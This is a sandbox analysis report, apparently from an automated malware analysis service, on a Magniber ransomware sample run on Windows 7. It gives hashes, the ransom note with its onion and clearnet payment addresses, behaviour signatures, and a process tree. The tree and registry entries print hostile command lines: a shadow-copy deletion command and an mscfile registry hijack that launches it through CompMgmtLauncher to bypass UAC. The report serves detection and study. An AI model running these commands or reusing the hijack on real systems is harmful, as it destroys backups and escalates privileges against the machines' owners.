magniber | 0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6

Resubmissions

19-08-2021 01:18

210819-wqg2l69dqn 10

22-07-2021 19:23

210722-87xdtsgz36 10

Analysis

max time kernel
100s
max time network
151s
platform
windows7_x64
resource
win7v20210408
submitted
19-08-2021 01:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
Size

21KB
MD5

24d60185a9e294a60c03b90fe731a04a
SHA1

c46b6a52efe81e02da8084f197efce7cb482f897
SHA256

0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6
SHA512

4419eaf48a932c9139c891ee36f51c8a7087357b2de56378a2c3399d8635f90460b30e16dc2b11db704a5f2e702fd116f292f723856b0fca008861eef8302674

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://18e4c6601e784a70deyzboiuv.ndkeblzjnpqgpo5o.onion/yzboiuv Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv http://18e4c6601e784a70deyzboiuv.wonride.site/yzboiuv http://18e4c6601e784a70deyzboiuv.lognear.xyz/yzboiuv http://18e4c6601e784a70deyzboiuv.bejoin.space/yzboiuv Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://18e4c6601e784a70deyzboiuv.ndkeblzjnpqgpo5o.onion/yzboiuv

http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv

http://18e4c6601e784a70deyzboiuv.wonride.site/yzboiuv

http://18e4c6601e784a70deyzboiuv.lognear.xyz/yzboiuv

http://18e4c6601e784a70deyzboiuv.bejoin.space/yzboiuv

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	1416	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	1416	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	564	1416	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1436	1416	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	1416	cmd.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2640	1416	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2704	1416	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2712	1416	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2780	1416	vssadmin.exe	46
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2788	1416	vssadmin.exe	46

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SaveUnlock.raw => C:\Users\Admin\Pictures\SaveUnlock.raw.yzboiuv	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromBackup.png => C:\Users\Admin\Pictures\ConvertFromBackup.png.yzboiuv	taskhost.exe
File renamed	C:\Users\Admin\Pictures\CopyInvoke.png => C:\Users\Admin\Pictures\CopyInvoke.png.yzboiuv	taskhost.exe
File renamed	C:\Users\Admin\Pictures\DebugExport.tif => C:\Users\Admin\Pictures\DebugExport.tif.yzboiuv	taskhost.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

description	pid	Process	procid_target
PID 1456 set thread context of 1096	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	9
PID 1456 set thread context of 1172	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	7
PID 1456 set thread context of 1200	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	2
PID 1456 set thread context of 0	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
2640	vssadmin.exe
2704	vssadmin.exe
2712	vssadmin.exe
2780	vssadmin.exe
2788	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000312c81f0d07ff44da21b1fda69e4a95a000000000200000000001066000000010000200000007a819c7d547b96e0ea663f8b53a9369423323dcd3a4ad3746fdd0370403007bb000000000e8000000002000020000000f53b69606c2849184cca3340600f500d4e7242d1098c2bf60e1c3ce9a8a402d190000000df6451314c5ae9a175668fe2c04618a038932c78f7001f4453e46e9cdf104859b3ff5fda32cba560a541099b211209f53e72abe055dc0e8e21eb38ca41c2ec49647380615ced093a64041718c929e9de0fb219dd9e26328742998d4a275ef563d4b648e3fe6b6adb0d76cb6f31fd3aa63791619b5ed4cb842b2810fd133db0a2e47360037067633cbd1a9589428e89e140000000fa7b0ddb91a62edcd4d395651c00efc0707f99a2c505e25d7ad7f04010e558fc4ac7eec75a89cfeeb0923b6c0c4fd4bdd28ae9a575a41cec40c0644de717c85b	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000312c81f0d07ff44da21b1fda69e4a95a00000000020000000000106600000001000020000000c7f83e2ba761520ebdf0fde08e5a2cbd4ba14143a2ae09b0971821b774d76096000000000e80000000020000200000006049fce6c4f1f65d270b0b6b56cff418f4afdc88250792ad3d81bd650f2dee1b20000000fc1cb9c8ac34c808daeda936bcf33e246ffde77ab800c4ed70315e0608bdaae240000000b4a561ab0c095464ac9ed766cab311d59469c2e293430da6018593e368d0991c5e6d48e68b2b388e7d45616234c1aff53626656513f41b6dc8d418270c426305	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C50F4A31-009C-11EC-B1FC-4E51BFDEC7AF} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a058b09ea994d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "336108363"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Modifies registry class 11 IoCs

Processes:

taskhost.exeExplorer.EXEDwm.exemagnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
1128	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

pid	Process
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

pid	Process
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	Process
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1156	WMIC.exe
Token: SeSecurityPrivilege	1156	WMIC.exe
Token: SeTakeOwnershipPrivilege	1156	WMIC.exe
Token: SeLoadDriverPrivilege	1156	WMIC.exe
Token: SeSystemProfilePrivilege	1156	WMIC.exe
Token: SeSystemtimePrivilege	1156	WMIC.exe
Token: SeProfSingleProcessPrivilege	1156	WMIC.exe
Token: SeIncBasePriorityPrivilege	1156	WMIC.exe
Token: SeCreatePagefilePrivilege	1156	WMIC.exe
Token: SeBackupPrivilege	1156	WMIC.exe
Token: SeRestorePrivilege	1156	WMIC.exe
Token: SeShutdownPrivilege	1156	WMIC.exe
Token: SeDebugPrivilege	1156	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1156	WMIC.exe
Token: SeRemoteShutdownPrivilege	1156	WMIC.exe
Token: SeUndockPrivilege	1156	WMIC.exe
Token: SeManageVolumePrivilege	1156	WMIC.exe
Token: 33	1156	WMIC.exe
Token: 34	1156	WMIC.exe
Token: 35	1156	WMIC.exe
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeShutdownPrivilege	1200	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1960	WMIC.exe
Token: SeSecurityPrivilege	1960	WMIC.exe
Token: SeTakeOwnershipPrivilege	1960	WMIC.exe
Token: SeLoadDriverPrivilege	1960	WMIC.exe
Token: SeSystemProfilePrivilege	1960	WMIC.exe
Token: SeSystemtimePrivilege	1960	WMIC.exe
Token: SeProfSingleProcessPrivilege	1960	WMIC.exe
Token: SeIncBasePriorityPrivilege	1960	WMIC.exe
Token: SeCreatePagefilePrivilege	1960	WMIC.exe
Token: SeBackupPrivilege	1960	WMIC.exe
Token: SeRestorePrivilege	1960	WMIC.exe
Token: SeShutdownPrivilege	1960	WMIC.exe
Token: SeDebugPrivilege	1960	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1960	WMIC.exe
Token: SeRemoteShutdownPrivilege	1960	WMIC.exe
Token: SeUndockPrivilege	1960	WMIC.exe
Token: SeManageVolumePrivilege	1960	WMIC.exe
Token: 33	1960	WMIC.exe
Token: 34	1960	WMIC.exe
Token: 35	1960	WMIC.exe
Token: SeIncreaseQuotaPrivilege	912	WMIC.exe
Token: SeSecurityPrivilege	912	WMIC.exe
Token: SeTakeOwnershipPrivilege	912	WMIC.exe
Token: SeLoadDriverPrivilege	912	WMIC.exe
Token: SeSystemProfilePrivilege	912	WMIC.exe
Token: SeSystemtimePrivilege	912	WMIC.exe
Token: SeProfSingleProcessPrivilege	912	WMIC.exe
Token: SeIncBasePriorityPrivilege	912	WMIC.exe
Token: SeCreatePagefilePrivilege	912	WMIC.exe
Token: SeBackupPrivilege	912	WMIC.exe
Token: SeRestorePrivilege	912	WMIC.exe
Token: SeShutdownPrivilege	912	WMIC.exe
Token: SeDebugPrivilege	912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	912	WMIC.exe
Token: SeRemoteShutdownPrivilege	912	WMIC.exe
Token: SeUndockPrivilege	912	WMIC.exe
Token: SeManageVolumePrivilege	912	WMIC.exe
Token: 33	912	WMIC.exe
Token: 34	912	WMIC.exe
Token: 35	912	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid	Process
532	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
532	iexplore.exe
532	iexplore.exe
2220	IEXPLORE.EXE
2220	IEXPLORE.EXE
2220	IEXPLORE.EXE
2220	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

taskhost.execmd.exeDwm.execmd.execmd.exeExplorer.EXEcmd.exemagnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.execmd.execmd.execmd.execmd.execmd.execmd.exeiexplore.execmd.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	Process	procid_target
PID 1096 wrote to memory of 1128	1096	taskhost.exe	29
PID 1096 wrote to memory of 1128	1096	taskhost.exe	29
PID 1096 wrote to memory of 1128	1096	taskhost.exe	29
PID 1096 wrote to memory of 1788	1096	taskhost.exe	30
PID 1096 wrote to memory of 1788	1096	taskhost.exe	30
PID 1096 wrote to memory of 1788	1096	taskhost.exe	30
PID 1096 wrote to memory of 1328	1096	taskhost.exe	31
PID 1096 wrote to memory of 1328	1096	taskhost.exe	31
PID 1096 wrote to memory of 1328	1096	taskhost.exe	31
PID 1328 wrote to memory of 1156	1328	cmd.exe	34
PID 1328 wrote to memory of 1156	1328	cmd.exe	34
PID 1328 wrote to memory of 1156	1328	cmd.exe	34
PID 1172 wrote to memory of 900	1172	Dwm.exe	35
PID 1172 wrote to memory of 900	1172	Dwm.exe	35
PID 1172 wrote to memory of 900	1172	Dwm.exe	35
PID 1788 wrote to memory of 532	1788	cmd.exe	37
PID 1788 wrote to memory of 532	1788	cmd.exe	37
PID 1788 wrote to memory of 532	1788	cmd.exe	37
PID 900 wrote to memory of 1960	900	cmd.exe	41
PID 900 wrote to memory of 1960	900	cmd.exe	41
PID 900 wrote to memory of 1960	900	cmd.exe	41
PID 1200 wrote to memory of 1056	1200	Explorer.EXE	39
PID 1200 wrote to memory of 1056	1200	Explorer.EXE	39
PID 1200 wrote to memory of 1056	1200	Explorer.EXE	39
PID 1056 wrote to memory of 912	1056	cmd.exe	42
PID 1056 wrote to memory of 912	1056	cmd.exe	42
PID 1056 wrote to memory of 912	1056	cmd.exe	42
PID 1456 wrote to memory of 920	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	43
PID 1456 wrote to memory of 920	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	43
PID 1456 wrote to memory of 920	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	43
PID 920 wrote to memory of 2040	920	cmd.exe	47
PID 920 wrote to memory of 2040	920	cmd.exe	47
PID 920 wrote to memory of 2040	920	cmd.exe	47
PID 1456 wrote to memory of 972	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	48
PID 1456 wrote to memory of 972	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	48
PID 1456 wrote to memory of 972	1456	magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe	48
PID 972 wrote to memory of 780	972	cmd.exe	50
PID 972 wrote to memory of 780	972	cmd.exe	50
PID 972 wrote to memory of 780	972	cmd.exe	50
PID 1956 wrote to memory of 2108	1956	cmd.exe	59
PID 1956 wrote to memory of 2108	1956	cmd.exe	59
PID 1956 wrote to memory of 2108	1956	cmd.exe	59
PID 2024 wrote to memory of 2132	2024	cmd.exe	60
PID 2024 wrote to memory of 2132	2024	cmd.exe	60
PID 2024 wrote to memory of 2132	2024	cmd.exe	60
PID 564 wrote to memory of 2148	564	cmd.exe	61
PID 564 wrote to memory of 2148	564	cmd.exe	61
PID 564 wrote to memory of 2148	564	cmd.exe	61
PID 1436 wrote to memory of 2176	1436	cmd.exe	62
PID 1436 wrote to memory of 2176	1436	cmd.exe	62
PID 1436 wrote to memory of 2176	1436	cmd.exe	62
PID 532 wrote to memory of 2220	532	iexplore.exe	63
PID 532 wrote to memory of 2220	532	iexplore.exe	63
PID 532 wrote to memory of 2220	532	iexplore.exe	63
PID 532 wrote to memory of 2220	532	iexplore.exe	63
PID 2232 wrote to memory of 2264	2232	cmd.exe	66
PID 2232 wrote to memory of 2264	2232	cmd.exe	66
PID 2232 wrote to memory of 2264	2232	cmd.exe	66
PID 2148 wrote to memory of 2388	2148	CompMgmtLauncher.exe	70
PID 2148 wrote to memory of 2388	2148	CompMgmtLauncher.exe	70
PID 2148 wrote to memory of 2388	2148	CompMgmtLauncher.exe	70
PID 2108 wrote to memory of 2396	2108	CompMgmtLauncher.exe	69
PID 2108 wrote to memory of 2396	2108	CompMgmtLauncher.exe	69
PID 2108 wrote to memory of 2396	2108	CompMgmtLauncher.exe	69

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Users\Admin\AppData\Local\Temp\magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe
  "C:\Users\Admin\AppData\Local\Temp\magnibar_0e9cb980e176c55c4694f8cb8b4fad949926887ec9e8ba209058bf22f2b359d6.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:920
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2040
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:780
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:912

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:900
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1960

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1096
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1128
- C:\Windows\system32\cmd.exe
  cmd /c "start http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv^&1^&35072946^&64^&361^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://18e4c6601e784a70deyzboiuv.lieedge.casa/yzboiuv&1&35072946&64&361&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:532
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:532 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2220
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1156

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2396

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2132
